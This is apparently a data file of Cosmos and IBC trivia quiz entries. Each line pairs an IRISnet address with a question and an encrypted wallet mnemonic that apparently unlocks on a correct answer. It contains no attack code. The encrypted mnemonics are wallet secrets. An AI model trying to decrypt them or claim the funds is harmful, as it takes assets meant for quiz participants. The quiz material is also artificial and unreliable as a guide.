quiz046 iaa1rtpe2tp0n4cmcdn9u7k2hmvd76w637cgkuzm6k {"question":"Which Interchain Standard has specified the atom swap implementation?","mnemonics_encrypted":"tc6fCxdnWFDV0EsQlyyp7uZimY-zSvyBnGL52et-YjR-mu3pCH06MNbeXj2U1faHIEz61j5zal5aKASnxehSSi_L3bADekOCJDDZjr3s8CEuFtwomUgmyxrRD3ZDnLg389xlt1C1qthMfFgbj7GHcJFhLuWPVpCFNrT3rW4ok5-B5tZBTgsRWznWX0iPtazLDF4sRYQYy3H0qGrY4DK3J43YWsmWFQ==","flow":"f04"}
quiz047 iaa1ssj78m4m92zeeryfhtrcwn6er30faewa6e6hh4 {"question":"Which part of the core IBC protocol serves as the conduit to transfer packets between a module/application on one chain and a module on another chain?","mnemonics_encrypted":"mxksB_GdYEEXjRPm1dpnKtRmuaM8ldufkFyrQh7ywZrzH_neZxH-RIBweAtkXBpAP9ZKwKkzWHSecxWFU27YUpeqtDIubBQRfnfOrV0o9dIxoXQGzjvYpZ9NdGADNtEwzN_vQ3JPJtjUW9McqCNg1H32d1Rerr_oPJWr55E8n-nyLMnAjsTV-3FR_FqjuR8SlzUorNqTh3gv0eaNd5-snhG9GYn6PEPFrnMOqp3T","flow":"f04"}
quiz048 iaa10ng00tezeplcx4x5g49rr26ucxc7s3xglcnxs2 {"question":"What is the particular kind of identifier that is used in permission channel opening in IBC?","mnemonics_encrypted":"PPbAfOch9CQRDrVBpAwd3u_dTs2ZHlMqiAmTy-wzk8cb3LhnG9y9Jp3om9DXJuyOt1EbnpxcN9THt_h3UFbTQY5c-DNPFXBS-q3-M27S0To_VXuexSEdRUoDDYCFNDpsVxo-f1P8Mr9PSCC5MP5YHt3__PnqYwmzFzoUzVkKBizLNa1Vgjqr1uQg75vpe-7qWINZYFtVq9oBmIIG","flow":"f04"}
quiz049 iaa1y2nenudjtc3udd8hk3sccm76me00ymxsdnd0ru {"question":"What is the name of the protocol utilized by Cosmos for resolving blockchain interoperability?","mnemonics_encrypted":"Z4LRCBFJxhGMn_tWyUqE8lrHvnwwyuyOvJYCSgitmhH1U4_bK3Ux4wyticL3IZobpnVP94tmsmxmVcqWjviGXpNQZVOtnrN1AkfEWSq21trrW0fBJVB3g5iXG_Pwwx6JmZTyyEwFdkK3F0ueRR7xmHNo6oPRDKpqlXTUQ6b2Qp80NbstUXyWAZG0V4CwIJYXeUKokrq4F3fRRFSNx79V1oAIlTxc","flow":"f04"}
quiz050 iaa1n3x6d5hf6tenag0sjmd050ggjwmcpvnlqd8pwf {"question":"What does IBC use to track the consensus states of other blockchains?","mnemonics_encrypted":"Izl5F2nU8LEmQmfyYUVaOG_RLWWhBVwUE_Q4E1CmAs6bzmwLDVuFmbOUHtk2m_5sMz_AErcxg8co7Q1gLIXDDMZ5iqRo26hM9DUU70jD8MmYn1nh0rM__jOYoxvyVtVKbpnGYycH211UBdgju2X5YOqix272OdGZuD7_l9kg1VBadFTFyspAIa1jj5CiVHGlu1iYsRnzaWzjOZ_8ZjFcOSLoB-36s4ymnx5vf-zO3g==","flow":"f04"}
quiz051 iaa1valvpyngz6ruveqndtfa6a3zfxg850kgjq5eva {"question":"Which Interchain Standard has specified the interchain NFT transfer implementation?","mnemonics_encrypted":"GRq1u2jXxtpUaPJLRNBf7FAo0sVm8TAqw7feQ4Qi5DqGyNA4Nb9WHkV_fq-Zw2M_bstyoQEXpUxvwFrIPCKPlJ2P1njJCbAhV02lhxuz-GybnIcHosbQ5XPPRUG0dqJxcu1r2Qx1juT8KMnkyk9qPJguJk2q0j3oAbN1LNNvPV0V9sO22lVjz2D7RM-SkaVCrM553VnI1xHesbMFZec9jdY=","flow":"f04"}
quiz052 iaa15xz6fwx700wj27glfpy5afny5v8wavkkpvuu2x {"question":"Which Interchain Standard has specified the interchain fungible token transfer implementation?","mnemonics_encrypted":"z8wnye_NZEtSUxXy-DVazATsPbzqLfCg7rIN5j_N61vMaFqTJuWXZkBFQ8tjWDtxxlGVICyMPGot5NOf9Mc6ERAAODme7SIfb-qo-gI4CO4ogku5vA0pmE4jnDEXOP3FWqDgG491ge94BC-4uhK5Yx9vyfeOiwfv7EQA1vtTZNNZLiSA7UZz56CGT_xcXaQ4aVFI5TPn5N-n6z6GE9pRv3X9x-Vw","flow":"f04"}
quiz053 iaa1n0c8yjzlav3n7fdrp9e9rakjhcunk4j0dlug6x {"question":"Which Interchain Standard has specified the fee middleware implementation for incentivizing Cosmos relayers?","mnemonics_encrypted":"2Coe_9p4vNNjomB4VFMHwJwzj9k9PbflckK9JP7XgohOgfW6YXDFN6T5TC8ysHymLs-RE6b-CLCkRcSXkwpidXDcwkallfxhJb79SetwK38BGW82E3M_1tzvOwA4I3rgFatXMNuxAAi_UxXeG5JwaEP8GVVv4cFzsZc5cuXimbKFeyOru9mQQBlxvMcLavsA6BieCS3EWg-GymiafL2oc-fMTa2fEW_jmx9f0WcljDdDSg==","flow":"f04"}
quiz054 iaa1epv2q6l59lp9qlewtwdh7c8gu5z7rw0hk7kk23 {"question":"Which Interchain Standard has specified the crosschain validation implementation?","mnemonics_encrypted":"iWCpmD6NXjehat0uBWUmBbTiqCkEtxt-fA6xURAkx1_fim2vmDo9sdf4xsryoC4syNbH_JMUAdyo_Tzq7iyl-libbQ1WJKcJ9R-brv6SXIoYwOcfAhtW5jMDs5E6c0GC65U0S58RVretLnHd-8--Ao9Q_yo59bLu_fy_ZPrFrDbxzCQXUHI5vpiBMXAGve65xLnhRU6yb6oHn3Dpw9rL-79oPzea6rA=","flow":"f04"}
quiz055 iaa147243dr2d8en3pcnu7pnsl38acx2rzc967vdpv {"question":"Which Interchain Standard has specified the crosschain query implementation?","mnemonics_encrypted":"vMVDhRqPiipJYSNsQUGQgTAP31rU8ydOLEnGzpjRejraE_OjoYcx9R3dW-PJlb997RlahJeYTNHls_AVNbGH1pJXg2vVWlmDNnI6JSN8Nj0i7Ew0PYijZqgJdgKjbYthZ99WhP8RJW1NRKtG2_0AYJbWPxfbM92afbBE63xHkfNsGaGw6aJ739E1_cRQ6qkMZQcNjgBMw3CUs9krq88yaCPpCuEceIpg6qHEVYJj8DkW","flow":"f04"}
quiz056 iaa1g7n2yfg0j6ekxedj5u7evpc2y8p8ya3zhrghd2 {"question":"What's the default light client type for Cosmos Chain?","mnemonics_encrypted":"c_0U3vj6TKjB3blmnvb6IHq9a2nODCyH39kFAxAKOEz_FE4ivbihjBi_Oz1xB9kAuBHtJ-iZSJdS73hdmL29qM_6zQ1H8OKboQwQAFArDly_u2GFeBT-0z5BEDkgN_S4s3f3C6q3SYexgYNzkkygIsgIBYuSCs3cbSi9dqGDSvODi1mNYiuHTE1nNfWU_-_PEJjaQ4fkHYb8ZjqP8-IQaKvgfd_LoQ==","flow":"f04"}
quiz057 iaa1yjjq98x26s5xxxe7zwztvnfpt9599h96mzye7z {"question":"What's the recommended data format for tokenData and classData in NonFungibleTokenPacketData?","mnemonics_encrypted":"VnIIcmPTCYBsaq3HtgbFMonindc38e54iI-w64Bm7fKGbLTAmBCoAD_x3LLRE3WkhgjBRFezEWn7lMr1KfN-WntzgJEyIn0lVWrY_D3MUR1UNvQfNl4iLnY7aAV7BWvvkrU0QsRDdvYNZe4yjsZXG1qslgc3gmhUz9vYJHgYA3SynfIgZPM-mfFaNCemBG73gZptB5Lp6Q==","flow":"f04"}
quiz058 iaa1uyql4xvuzqxc8extm8jzy6ryaf8r6uk4cecdxv {"question":"What's the required encoding type for tokenData and classData in NonFungibleTokenPacketData?","mnemonics_encrypted":"gct21fiZMGCnZR1HJcxR59AF4uvPpYvOrMIIX5e6tjNoKCs2P3IxBVKSoaRkzaBe8NjORERLdP5WO0Yt_dW88xlDHJQMUG3aPSQosLXzLEdXZPmrWoWgg-qUhOYSYyItR8I9tQHx_R5OFKM3UOhLEzsxIssRS08N_RvmZ3zig6_lkbawswCAKFceph77W0pLvOTNpINM2WIl4KR9ZMaKRIHIyOnTPzhTOvjBzTrs6w==","flow":"f04"}
quiz059 iaa1uj4lnpr7sp645ge8tp55nmjq36mx6t43m5k5qm {"question":"In which programming language did IRISnet implement ICS-721?","mnemonics_encrypted":"JDnMIYtB8ONpZ9YcdaYydQ-yVY93Ea-14HTvSLy9HZNJAPc3AHvVu4MC0zWEcwqW-Cg6fhb5-YgarGc1X2reJSLFnlj7BKQmTeOIOGxDnIId4-WfSMdeOfTVca2nFYzRqLECs1wGUCiMQpxs4iZEW6WuMkrfgfiKYF74ugQukW_lCiLjRncP1rJjW__WkzrMaUoPMvoTPtMWcVLz8CzfnW2h2-C737BIxwnCnDunARty","flow":"f04"}
quiz060 iaa1htfcl7jhpx8ayyjrz0ueyss0vcfdfyneflusr5 {"question":"Through which framework did Juno and Stargaze implement ICS-721?","mnemonics_encrypted":"-qelSIdHkxJtZvlg4VYEA4TH8KfT9zebZPHVCJ0OKxfTAhTzcbtWywgAxNxhuggYahimhLFEQtiiylOhVF4ykIczcHyk6voRJHP8syOXeBbuEO1uaF988NUT7_ID1zVa1GAZExfinzQqvlilv7hKcMGbrD2hKDyqBZGtwv_3pi9A7xDURKtz0Qftp77qL3RkIoa1gtElSQpa1DiVRCueZmhNdbM3","flow":"f04"}
quiz061 iaa10xc3emnazmtjawup5j9q94sdjpsvua42ekh5u6 {"question":"What's the repo's name of the Cosmos Hub?","mnemonics_encrypted":"m1fw5NUzWMqk6QSYVyJibtf5Y-La1R-_8k5Cvtb94w61qGPbFzaoTrT6m-CD5XYDN29U3y-TLIDoFZf_a4YxZ7hz14KpJXeeDiNlSjWcuDBg4N_3kP46vSEUS9Eu43IUMWFQOc1NyL9vC5YQu-BHFekxi5NnIc8AQdCNGNUS365C5jRUBLJ5svBlwpoNs-ggxijnFoP1htRK87b3mih2aWhe3Dx5K7AfKfc=","flow":"f04"}
quiz062 iaa12zn6028730yt5kuqejutrjgswt0en9j675jp25 {"question":"What's the token symbol of Cosmos Hub?","mnemonics_encrypted":"6U-WygKeWF9cZ5bRCE_JK8ND_plO4t-ICZo9fgByRjF7JM3bG7Sp49cdB0XIuB7LFkdfu3HXqdSJeUoVv3ywtyXkvVi2-o5RVW9DO3uS-by4TciY6YM8UaJOaG_0KROx5FdUzjK9PMR6yjtTTl3mn7R36LWzVpzHzI57xOT4xFjkCNF611UbQrnmmZqbQtLu85Z5MGLYaldNIzatNx5Ea6XLdDd9I_aMQO9CpAkJui1wrQ==","flow":"f04"}
quiz063 iaa12ajhaxfx7k8gheuekzwfdv4lqvtm303zera8ye {"question":"What interface does the application layer use to communicate with the consensus layer?","mnemonics_encrypted":"Bp6OS4iamWRGmC4tzf7_pgoBGM_2M-MXZfD8ipKzl7rQ0P2O8qXkEURotq4FTf5jkvLhbLLGkOzlBRjURU-OkIsQnskV3uaEF_t8th9YYk8MHGXO8NoAA9ardVd_UmpqtwsnedJTTDv9A2lmNhhzj8h5BUm3Ct2tsPmphAI7ImHVNeR1bANu0EK2JJmAmRJ3pFYNbL9E9i1lX2sjPaBDejT-4tk=","flow":"f04"}
quiz064 iaa1kcag7m4su5hlly2mvxrdjtq3ylc7v8p2qj8rkp {"question":"What terminology cosmos uses for tracking resource consumption?","mnemonics_encrypted":"Y5jx_W4TxSvYKs7HY8WXERJhNeMf1SdF6rj713TYVmJwxtOS8SiM2uvmo2Jj_8ZVYEonbiLEN4YlYkDvQ8EUydTws_vCnEDARYOv9Z86gRP98G2-W_DGIMbwBXHhOualFyu22bT75utDCmeRweakkIWqreWyzRSPgDoY68vtZoAk0qvwBZF69qEKkxKHgascc_79oJ1Kuq7DkNI4fzEXJ_83kuzPxqbZzQ==","flow":"f04"}
quiz065 iaa1h75vwwukyg42zgrahfjz85wllclffw30jwrm8l {"question":"Which role is responsible for commiting blocks?","mnemonics_encrypted":"GiA6k4QUEn1JFoo73Z7XL9ZiKOGiWAGh8sAvK2W9SJzxnWPmLX9WV4l9tizKxKsPixGfvdZKRLuuNXSx3rz5hT3jueEqXEt9nXHGDYcklRKB3Jvcynwp1wWIUqrrqAwigiNvVonnxfTIQG-OXM_1UveXrIM2no22EH-bJDA7yPHC-_rfS-mBSfGMFEkKwpfHkgYAo02yvugZf9UosrKQ4rAh","flow":"f04"}
quiz066 iaa1sv3msmtvph7qw8pnerme04ssa0tlr0wpfgpmw4 {"question":"What's the process of locking up a digital asset to provide economic security for a public blockchain?","mnemonics_encrypted":"aeDAkSZUwy-Mca0HNLsshDdej9e1kfECD4vyw-vs44hlhyPMiAEbiRGQzQEly1z2tjdGDHC67KhWGa3jcVqYq3FdVc7BZ8w29uzXjztRJl5B49I7iV8LSt_OFW60YthiFv2Z0SF2YTyj8HOzHWfwR744_KE3I1_x2Wl2qZ7cwX2tpK7SlpHw6Cuze5Hb-CCmenRJ3W7ybfOT7uRc3LAZzH6wbCswM6srnQ==","flow":"f04"}
quiz067 iaa167nqy273rjlvja08xct39mzashrqupyfellcxd {"question":"What object does a user create to trigger state changes in application?","mnemonics_encrypted":"JVzs5-7l8aaP_QCQ405ijqyIh12DchNUZ3udG3LiV52V8NhqzHy7d8SdMpjuT7g_zjIJu61DAAz3bOTq-67xb6u4QQoOY5L1hwi2vMgT6aP8ILcTp9n_SOjiiih9xXXnQPhXTfY0SqWRrQm2TpWbte96I_plgyK1caGMx-aBKUH2vpJFQaaumky6yUS28GH-sqaHJni3v3WMJDlmrxdosk2MIiEBYA==","flow":"f04"}
quiz068 iaa1n4apkrpqw29m3sry2p32j9ehzc9mkuzrlw3p6e {"question":"What's the one step before including message in a transaction?","mnemonics_encrypted":"ApbL3_SPc2EmCpn2CroDUIqk1Odj44i2BfE80uDr_GzmHRgjqI2Kxuux0XCIvQi5lLOIITOSj9hGJfCy25FbjN2nxRyh_GcGqw-vc9wMEV4iC5BLaiOd9aVG7PxYuFCkko0XdvwRtALg__0hXqEVC7AbsDe65R_F04Iolv1Gvxc37T_OwJH6RJAA59Uw9E32K5jtaxyC4-j_RGt_GwIh8VFvrg==","flow":"f04"}
quiz069 iaa16acu2zzh8d557amr8dwqd39r43qs0d2mfpt2wa {"question":"What's the terminology for transactions being sent to other nodes?","mnemonics_encrypted":"8Wm-zqrYZ04G4OvRmfeCM4oazkuKs8wAwk6TtYIp1y_2nnfv3KAZGmz1ijCA_d2l8R8dnBETK0mwTodGULAnL7y_lMNoQo67DfITy46qpj2mdnS0u_itMfS3JFCSlGO_LIjnef_zZQNehid8xTcBKHvpvxUXPG19b9Wem-CCflqmn03MhHufjmpjXBAeEiJRuOReNAmkOZ5StvjVj0c=","flow":"f04"}
quiz070 iaa1t8w0ee3kcvx8rnuu9tux2kc5u34sx42ez6nteq {"question":"Through what mechanism can atom holders submit a proposal?","mnemonics_encrypted":"Y8U26BvCarytYLD2WlhO1QSPLYjL_stOC4XwKOdOhdk0V063dQyWENEWtKsOFb50PBgzF6atAR8MMXZYm_iOfbFH1HaVz8K8-x9mElU-BWDdHtVYBXwEbZYamjHQW5cyhrxlmolRK-XrYQoDr3Vim3wtM_LetqlQNRBo-C1zHudtIhLOF7D11vcKxZ43Vbc_JmVuFp9DvWOewPZCWAD4","flow":"f04"}
quiz071 iaa13amle8eh5t53cj0jndvwuq0c9dfa32h2sc6s6c {"question":"What's the key prerequisite for a proposer to submit a proposal?","mnemonics_encrypted":"E0arQF9mU66dnjHPVY5es6I761rNqvdcvC-GwtabPY6LkWsQ_NnpVssjhPOk2Np2Bide-tI3oJvcAoeubKI2YbUTq1yDxxFcUnObk6GLLCmxXOW9MnP3sdYs3SVPBk7Msk9wro3Lf2bm0OJ3N4DruyHJZK9oNl1DW8Hbq_H1FQ5nyC75rsZFoGWKqDDRCT3BTdLLPY1bPHr_xEAMI2U_eT8QoFapa5dkIQ==","flow":"f04"}
quiz072 iaa1tt57dlmucuxw98vudewchztdag7c887syp7kut {"question":"What's the operation to impact the result of a proposal?","mnemonics_encrypted":"cRn-fYma-b5a5ghL0R3z9-tUTrBR4-9DDFC4An2CkgJT1-5fmRfledIcxtD5mq2MoHVjh5uKYSK1Bmmd1nK9C-4I1UW9Ezu9fFrd68Qlfs66czvdXLgMQQgsvjPEWpOTcyfNPDvLwPTpNi99JwPG3yx0-iuxnUeh75Tf9KTBbZmF17ebRgYie7kDNiY5ibb-IjNgpDa1nOeGJkzVK2mtPKrFKyXRN4Po4jyOJJLJxDKRn50=","flow":"f04"}
quiz073 iaa1q07wwj29sqwhqz2h0y5wd5td5shg7750hrq8g2 {"question":"What's the terminology for the minimum percentage of voting power that needs to be cast on a proposal for the result to be valid?","mnemonics_encrypted":"RglUuAmiV6uWwm639MmFMZqlWki_UHuO84pqwkgqwxRLUbBTf0G9kQhIdo8VZDATatTIdEIVgRS52IIlv1eKU8UxFHeE1dok9ov9Y-hGf1j6y877CBaAtJU9YXsCm-ketBYKU1ZQHTBr0F-LpEd6tjY82YSOLbxOZ7Uj90K2o-MC_MsMAn8wFWOCUvK254HTBuF7eVpRI0Sr22_bQmQqh0P1gGw=","flow":"f04"}
quiz074 iaa1muuwyk2r6lsgej8jawtc2as5vr8vevl5deagy5 {"question":"Through what tech does the Cosmos gain horizontal scalability?","mnemonics_encrypted":"NJ1Rpk6p45ko4jRLeHg5ta5xcDWj0Zdat2erlsyKP8WOG0j9oIBBGsWFLajvALMMqgEsTThRkUQRangcl4dvrbf2USioqmlzoAMsyp4oqyhEMtSv3csGfrAoUvrBJiHKZdx4yywm_fUZ0RO4imUo_jHbE7PGs3V5yz972gpToR1M9chTYXAiQz-eBvthkhD23_0W8ylT13h4ygJeP5G3HNk=","flow":"f04"}
quiz075 iaa1tts6l3vzsm9y3hj23kfe07qwcev2cjz2aretcz {"question":"Which chain in Cosmos ecosystem first implemented EVM?","mnemonics_encrypted":"I1QcQ0Wd4wfu73nl_GDZJ99_n6W6GL_b7_FkhHnK96JhI3WiE8XKNEG1HDnmIcBCtP9Yt6114qUxGZTupI1-X0jNnWAZFimf03yuk0CrmLhmZpEhMwiSb4PxidPchq3QTqMEziFmyXl_qMOe5qf1jomTk6EWmnSXV7fs2s2fh-2V5i5hLm7QG5phAQhO9R9Ulm3iuwqNvo-FD3TKuVw79oOG1mTb5xSiZwQCUvbhFjpOvQ==","flow":"f04"}
quiz076 iaa1fvc8tcy7qw3nh2fampd0kkyvqy6yrhtft02sxh {"question":"What year did Cosmos Hub first go live?","mnemonics_encrypted":"FBP_1TEpEzBRqq2CV3Iow1JV17LOHLyHUwc1ViGFMLHJsL0GX_PYE0EYQhdnq8UfGWqkQ43nFEndvqPHNta7S0eE848uYldCEvB-qHNH4KcPzZNgNtJbLDkvR_r-L2A6W4D1oHjKX0hIf1LvWOgohV-7XvW1HCDQtNXE8fvVg7WBlQa7ywe6J5gN82Q7GF8-xium1MwefFE4RnsAbbKbvr3N3DM=","flow":"f04"}
quiz077 iaa159kqwg8czjr8xq9luha3sryy2j24vglj8yty37 {"question":"What year did IRIS Hub first go live?","mnemonics_encrypted":"xiYzhYfyN1ouQp2IooDyfWW2MwrI1dnyVqBz83y3A0Ev7OivsppIokpZt4TSpREdl5pKdIk8pOp4WULRUXxW_D-F6sXYHVRer0XIKooxskyADzQetGZREWMwDkqmP2s7Xvv7Eokz8OgfZYIoVHJhzPvxOIPOfBf8PAcaz5UkPijPm_4HL3uMFQ-bsZYDx7w84NiZ0XLsvkMBKUw=","flow":"f04"}
quiz078 iaa1flwgs0zgq9xvwap3duvykdek0a5zksddur7aka {"question":"What year did Stargaze first go live?","mnemonics_encrypted":"mTivzdA4GJ7BthTm0vzG9_lP0QZpvIdup0bMbfXZk3yIpx1E8xxZzM9s1OyKrHZLLt-CqTnltbE_3rq4PuJ9eT7y_coVA_nblb-844TdP7sMz1XvG4AnXTrItMesaaVMTTrKIaOQu5pIUe2265PCjkaJb6w2s92h-MM4mD3xbKg2F4GWjY-GAHOV8LJU6y-CC88oCUcOTdFytYmM_ItyxG9OfGUdkDKNyT0Sdith6_rpRnU=","flow":"f04"}
quiz079 iaa19c8tm4lskjf5vz9zm02fhymdj4fq9lg844quh9 {"question":"What year did Juno first go live?","mnemonics_encrypted":"zaKv0Me6nFumk0QwUDZJ_YuMVhgTbs4R6U_oR4QhvovgzHwN-HpgMRK1FSeCFjd-qiYME2_uoIDkBlWAXm6Z6hRZfB02A8D34EfZXXggDR8CxxIH_cSFvEiv_bskSKXvSDNLXlNve_pDSXYHiR69if2Wzz-tId_TbnfC1hL_5w-_3rgeLoVG1wuj-1b_lbIP9UL7txnZBEFNyJJ6AcEJge7mXqedyjk5bmA=","flow":"f04"}
quiz080 iaa1kkrsla8g9egnkyfh7az753h04r4fm4d8ml6n3u {"question":"What year did IBC first launch?","mnemonics_encrypted":"eBUYyoKq_dF8mdHZpXFt6HwI9egmjZupyw6M7Fj4ZtumrVGg8zf7u7UOseDfS9cRjnEihAHyD2YjDNbxjeZYazZzsFfJaXhH_DNO9X2JjC9JCwk8fhghcflmCnYPPSYZ-ZBk_3mQiiikV55_z5HRcoDA6GRQc3KKOXeiy8dJQyR7DmEK1CUYZ0MfIUA1wNt9qGOGllCMaXLxCgjFV0xHd3Ed8LiK5w==","flow":"f04"}
quiz081 iaa1fr5pn20jd26kvaq2xs9lkk3dd2cj52wf5jtrvj {"question":"Who are the main contributors to the ICS-721 proposal?","mnemonics_encrypted":"PJ8VcSdfCmAdToP2pmp8freeFElwm1HyGW4IbG9hlLHe4nCxcLB5mvA_7QPiSdcU5SjQ-sdHTv0Wxv4aD92DGysffdPhobuM5KcUOX67BDJAujRuEthnD_K8wr6zZikshRB6ukCqeYJhwlr4dv0NYYG3eCzr79W-a4qYwbiOFrvr_NqUvbYWioZgL76AJnwDu9zSu-JgxIynquUKpJ7r-FvivgijbGw=","flow":"f04"}
quiz082 iaa1p5h2m8hkqstjeheanthn9ytad25vtjjvpd57ge {"question":"What is the group of chains that have enabled IBC called?","mnemonics_encrypted":"HN13EYuG0HrBFha7BvAR3wpiSoOqb6ARSMzB7_akq6MIkahFGECmPzj3crGoRg9OQA7mWcogg7QWD8BpUqTZmoIHJrabc2uOIuHkr534Q17IpJ6To0_GVl5fgrgR-9tKM4g17WPNpWVMTxfwWfHBPsE3wp5Sj0EDTQedVlrnfG9CIovHCGJ1XB5qNR7e4gnHqjS_Wv4K57LVm-4eX9NYtDRLbSUO10I=","flow":"f04"}
quiz083 iaa1y29u2quctydy8tzeudycyu5uh4cs2nvt5lnrw0 {"question":"How many chains are interconnected through IBC, according to mapofzones.com?","mnemonics_encrypted":"WT94V-CsFb5pzFFfq5z7VBPcH-7hxxWAlijbgtIpbgEbaWhDz_ZHQnzC572PuM6HololXNHu0cvN9EJIH2TN816y66Mxgv0qGAwx-CQHCExxoVAhMzuNmoDrckzhMpR_AzOUMBm7IzDYH8NPZx-0txPI09RyJk8dfzusMfBXyjXawk4pZV86J3-_oErQekcTJL5cRSKcGq1YRjq9yXF99us9","flow":"f04"}
quiz084 iaa17ehv72q38m8cm5pfj3s2wg0vr85zd5g906f69c {"question":"In which year was the Cosmos Hub launched?","mnemonics_encrypted":"z6ruhNkI0gLlAxm3xkTvxg1tHg3jTsw8tMtpey67wlQa_h4mJAEsqkFGDN9qCRjM52GgTxL3jR3wdt_Tyq6wF4dMW8DdJSv1GspTDjFFxDAJ1QmemxQrLGy49RDOfEBVdl55SAEGbI0AvxgDYjr_WrZ1fd6pHGMenVx7l6uDoBbt9PpeHF35mwaRaVSd1OgmS6IY16A5A6w-YpOgLOBxEcpQs3y1VyvSGC8q","flow":"f04"}
quiz085 iaa1ugyq6cxny2sdahm3me0fv7nqjawyuhehw3pj23 {"question":"In which year was the IRISnet mainnet launched?","mnemonics_encrypted":"Hto6l6I4b0rnnLPuIFz4ErXK6C6RVZFeiIv-B5tCgPUElPeZW0NZUNKhVo0_oht8fIzns-E1lyDzmXy7QNPRtenzCrWU7Jzjq2SdXSrs8k4KpXKL7XwEA3dq6y0Z0-OM2pII__0_ZRIkiS-jz-aKw6GmoAC5o62lDz6ncejUHOI2Hq4tAVJ_riU4EsUsaEgJJRBAJFyfaj0GtijPr9ZOYClVBd4=","flow":"f04"}
quiz086 iaa17dkf2nr30mhj078jk0rasayg3lj0zej773us0c {"question":"In which year was the OmniFlix mainnet launched?","mnemonics_encrypted":"X9o8gbVHV0qYt0dU7sjykt-Dm2DzqcS1xeY7mmh9TBTJM0tMAk0KuVBb3xmKb6yUJvnzf8TfSqj-3jBwpWsxF3wxsUk3OepNWn4WgMwwz6DYfsbIHvvXV7wJPLhI0nsfw6S7xIQHUahcPUXbKRJ8FYuw3n1zCFvXSsMtvqglbuWHaBRf_OT5EnK2eCbsn0YEZyXtUVIlwRce_LQ_K7U=","flow":"f04"}
quiz087 iaa1xze5vykamxxlfuvux0h7g0vs92zwfnvcxev77m {"question":"In which year was the Stargaze mainnet launched?","mnemonics_encrypted":"DBvoSqZ0v0bJqIRPDcAdDpD8dkiELgv3jiyblsRc_9uOnbFqOqYlxjAy3VN-_mY1BoorpJsU4mwLbLUGNagynmZJCRjPUUhpZcBvrNtNUpdlztnpoX1C-kV6iG5tuH9h_YiSq6d6V8UoERRXVFcOisR1jY-f_i8MtZMqtNoa7STCSl_W3NznVBMxaJUBx9N94a4Qq6HPbQR56n2HG549Dg==","flow":"f04"}
quiz088 iaa14lp7ec3meu3lj8ffh9ksfug8n9sa47z79rvh0c {"question":"In which year was the Uptick-Chain testnet 1.0 launched?","mnemonics_encrypted":"crqKa6gZ_hMD5ZdJYtgcBO7DJqY6nXiEZxtTESEfX7HvRy5qemXAQMUuF4buOBapQ00YcXMaFeqKSpHmAzg7CG7-PCQhhssNfXnloAm7A8mrk5LW_FZPBhq0EM4NYw1_iJtaIjD6G7Tgp3jGW5T9BC1cbIaWu9b0mzibCV7b4toOVsGGC0Zssu0GjE5PwS6n4ciUjm-eWjETE7WCntnHe3727HTBU_M=","flow":"f04"}
quiz089 iaa1rkkv3ch54twu7nw6xq5a38mf8rvmvg6h7hlj5y {"question":"What programming language is used by the Cosmos SDK?","mnemonics_encrypted":"IE3Ny5xdnccPZ1OkgAuujs28KFHcd_tSrP_SUUDdIl8CrjhlaZJf2DzYHMlHSHzHPWeQaDnm3PNaJtI0N0Iq3slw-d_bGQquUf4HkuSLj3tB-ebqECy1_DL_wX0xOADGjBcK-BlInvNYg2XyRm85dzt1PtY8R9mlkd6LExF01G6oK1hdO7fYPjRbes2XM5AvewnlnQBzdRzE3rOOwk42H0tu","flow":"f04"}
quiz090 iaa1gn7ens7wkxef748vewpyh2ecpgvuddwahjw47q {"question":"What is the name of the protocol/standard that enables communication between independent blockchains within the Cosmos network?","mnemonics_encrypted":"G4N3mO8vVQz_q2YFH2zUhdcDgfYoRGF-0OLA12GE4HJ9FYWuAbhP4IiX1AM0uaMZNPSpa-xqKnP69sZFi0A-VRkrTx4BzCEX-kcR0FNs2zSa0Jk3QK78dc_dWaDqKECdyItQ6jbn0SH32AaYSpKox6hK518OC7X-gkUCOml36Os90K5RPyeblo26Qm0DuNQV0zvW6KlLttL8REf631pHGG8AQXUkukEoaIYljhWJ","flow":"f04"}
quiz091 iaa1ewwj2eta3pwlnz2lpq6pqnsradq3ghf3mglfet {"question":"What is the name of the decentralized exchange (DEX) that uses a mathematical formula to determine the price of assets based on the ratio of the available supply?","mnemonics_encrypted":"PfeXaj3O8IQdQ0LxKvG0KHjnkgwQhlt-4Ce2wW45S_itrR8NIXoMc6o8nLza-GQQKNQWnkBaqKVcQHtqjyqOt16Mn86Q7Hy9IaYPbPFgqsy0f22xuLSojtgfr6z0Ur6PYlN_rST9rnaXzDvhGycxElcg5z2XIGQ-wb5DndyqU_o9aEncCTF50fXJHRtW4WwpYOc7gls1F6vOvIOuf9lqzMwa","flow":"f04"}
quiz092 iaa1q7pwzcmnhvghlewut0vjj6npssamnuhsky9sl3 {"question":"What is the term that describes a blockchain-based exchange for trading digital assets without centralized intermediaries?","mnemonics_encrypted":"ozXdDbZEk6lYR9gDBYiBX-o5Olb4ln92AYY8AtePPyuazCYnvFSbxRLdq40rNXoh5Ala1k3WWqOF4EKL7dXM_dinHUAkkBTeLghilwmPmjUYzpGC_LJrDafh6RilcPIgFMQVXSOgifSDn71pPEg258rdAKEBcgLb5Hkl7ADxt1dPmTl9-oFO6gYUC14SRZoLJSXAIn0Kehq8j9OjRjEVp5PaRt5jlBqS1dPBv5Qhe5WJpDFb","flow":"f04"}
quiz093 iaa18g4tr8rjjetew5ntrpyt4p57v6lyd5qklmkn7y {"question":"What is the name of the organization that is building and stewarding Cosmos? (abbreviation)","mnemonics_encrypted":"d_eTjtu9H3a1j7d9M03ORWQN1Nq0EWvFNZulEYYK2xDNh6gYIEiun8nup84dvjSvUZUfymYS8CXKbqbJyfx6cCNiGNcjLTjrLOla-k8CCufEQV1PDiG8-Y3S6DbW6YpTt8JGbINS7oWD0_UNv8jr3ha7vRJTQ3snRURC4pJxHVC_-bwPZa0QMro3OKOhSaoj-vsUkORmO-7jRqqUKjfZKdUCEGtw8V4hYK6sJPE-lg==","flow":"f04"}
quiz094 iaa1a4m24l7pv0pmy3dq8d4whs6fmjaqlw6hhccczx {"question":"What are the IRISnet community members called?","mnemonics_encrypted":"xZbjWDwwkc3tWwR0X6mYuIEk9Rm8j-9oTXG5aUNmoTXLl-9CHbTEREcOtDIoZF3ADVMJGmK9z5ILvDXzajFpgPvlTq1rR_K4owTglYn8PDEeLbjWUvOwl6DtCh8bKz_tcRTLYt0nW0RAkhm1AeYDSUTs2jG0VWBgEuEddPRep5f_YgHZtKKh57YeWlkNK1l2DtmM8w7fjrWE0Lcm5uGJ3k2VEZKySfA=","flow":"f04"}
